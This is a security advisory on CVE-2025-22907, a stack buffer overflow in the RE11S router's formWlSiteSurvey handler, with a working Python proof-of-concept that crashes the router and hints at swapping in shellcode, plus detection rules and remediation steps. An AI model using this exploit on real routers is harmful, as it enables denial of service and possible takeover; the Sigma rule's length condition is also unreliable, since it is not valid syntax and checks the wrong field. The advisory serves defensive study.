CVE-2025-22907

Executive Summary

CVE-2025-22907 is a critical stack-based buffer overflow vulnerability discovered in the RE11S router firmware version 1.11. The flaw resides in the formWlSiteSurvey function, specifically within the handling of the selSSID parameter. An unauthenticated, remote attacker can exploit this vulnerability to trigger a denial of service (DoS) or potentially achieve remote code execution (RCE) by sending a specially crafted HTTP request. The vulnerability is publicly known, but no official patch has been released by the vendor, Re11s. This report provides a comprehensive technical analysis, detection methods, and exploitation guidance for both Red and Blue Teams.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the nature of the vulnerability (network-accessible, no authentication required, leading to memory corruption), the estimated score is high (8.8-9.8). The attack vector is network-based, complexity is low, privileges are none, and user interaction is none. The impact on availability is high, and potential for code execution makes confidentiality and integrity impacts high as well.

Deep Dive & Mechanics

The vulnerability is a classic stack buffer overflow. The formWlSiteSurvey function in the RE11S web interface is responsible for handling site survey requests for wireless networks. It copies the user-supplied selSSID parameter into a fixed-size stack buffer without proper bounds checking. By providing an overly long string for selSSID, an attacker can overwrite the return address and other critical stack data.

The overflow occurs during the strcpy or similar unsafe function call. The stack layout is such that the attacker can control the instruction pointer (EIP/RIP) after the overflow, allowing for arbitrary code execution. The vulnerability is triggered via an HTTP POST request to the vulnerable endpoint.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is:

void formWlSiteSurvey(struct request *req) {
    char ssid_buf[64];
    char *selSSID = req->parameter("selSSID");
    strcpy(ssid_buf, selSSID); // Vulnerable: no bounds check
    // ... rest of function
}

A patched version would use safe functions like strncpy or snprintf:

void formWlSiteSurvey(struct request *req) {
    char ssid_buf[64];
    char *selSSID = req->parameter("selSSID");
    strncpy(ssid_buf, selSSID, sizeof(ssid_buf) - 1); // Safe copy
    ssid_buf[sizeof(ssid_buf) - 1] = '\0'; // Null-terminate
    // ... rest of function
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a RE11S router with firmware v1.11.
2. Connect to the router's LAN or WAN interface.
3. Use a tool like curl or a custom Python script to send the exploit.

Exploit Code (Python):

import socket
import sys

def exploit(target_ip, target_port=80):
    # Craft the malicious payload
    # The offset to overwrite the return address may need adjustment
    junk = b"A" * 100  # Adjust based on stack layout
    # Example: Overwrite return address with a controlled value (e.g., 0x41414141)
    ret_addr = b"\x41\x41\x41\x41"  # Placeholder for ROP chain or shellcode address
    payload = junk + ret_addr

    # Build HTTP request
    http_request = (
        f"POST /goform/formWlSiteSurvey HTTP/1.1\r\n"
        f"Host: {target_ip}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"\r\n"
        f"selSSID={payload.decode('latin-1')}"
    )

    # Send the request
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    try:
        sock.connect((target_ip, target_port))
        sock.send(http_request.encode())
        response = sock.recv(4096)
        print(f"[+] Response: {response}")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Usage: Run the script against the target router's IP. The router may crash or become unresponsive, indicating a successful overflow. For RCE, replace the return address with a pointer to a ROP chain or shellcode.

Blue Team

Detection:

• Monitor for HTTP POST requests to /goform/formWlSiteSurvey with abnormally long selSSID parameters.
• Use network intrusion detection systems (NIDS) to alert on oversized payloads.
• Check router logs for crashes or unexpected reboots.

Hunting:

• Search for HTTP requests containing selSSID= followed by a long string (e.g., > 64 characters).
• Look for patterns of repeated characters (e.g., AAAA...) in the selSSID parameter.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /goform/formWlSiteSurvey with selSSID parameter length > 64 bytes.
  • Repeated connection attempts from a single source to the router's web interface.
• Host (Router):
  • Unexpected crashes or reboots.
  • Corrupted or unresponsive web interface.
  • Presence of unusual processes or memory dumps (if accessible).
• File:
  • No specific file-based IOCs due to the nature of the vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_22907_RE11S_StackOverflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-22907 in RE11S routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22907"
    strings:
        $http_method = "POST"
        $uri = "/goform/formWlSiteSurvey"
        $param = "selSSID="
        $overflow = /selSSID=[A-Za-z0-9%]{65,}/  // Matches parameter value > 64 chars
    condition:
        $http_method and $uri and $param and $overflow
}

Sigma Rule

title: CVE-2025-22907 RE11S Stack Overflow Exploit Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests with long selSSID parameter targeting RE11S routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formWlSiteSurvey'
        cs-uri-query|contains: 'selSSID='
    condition: selection and len(cs-uri-query) > 100
falsepositives:
    - Legitimate long SSID names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22907 RE11S Stack Overflow Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/formWlSiteSurvey"; http_uri; content:"selSSID="; http_client_body; pcre:"/selSSID=[A-Za-z0-9%]{65,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: If possible, disconnect the RE11S router from the network or place it behind a firewall that blocks external access to the web interface.
2. Disable Remote Management: Ensure the web interface is not accessible from the WAN side.
3. Monitor Logs: Enable logging and monitor for exploitation attempts.

Long-Term Fix:

• Vendor Patch: Contact Re11s for an official firmware update. If unavailable, consider replacing the device with a supported alternative.
• Workaround: If source code is available, apply the patch described in the "Vulnerable vs. Patched Code" section and recompile the firmware.
• Virtual Patching: Use a Web Application Firewall (WAF) or IPS to block requests with overly long selSSID parameters.

Valters IT - This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.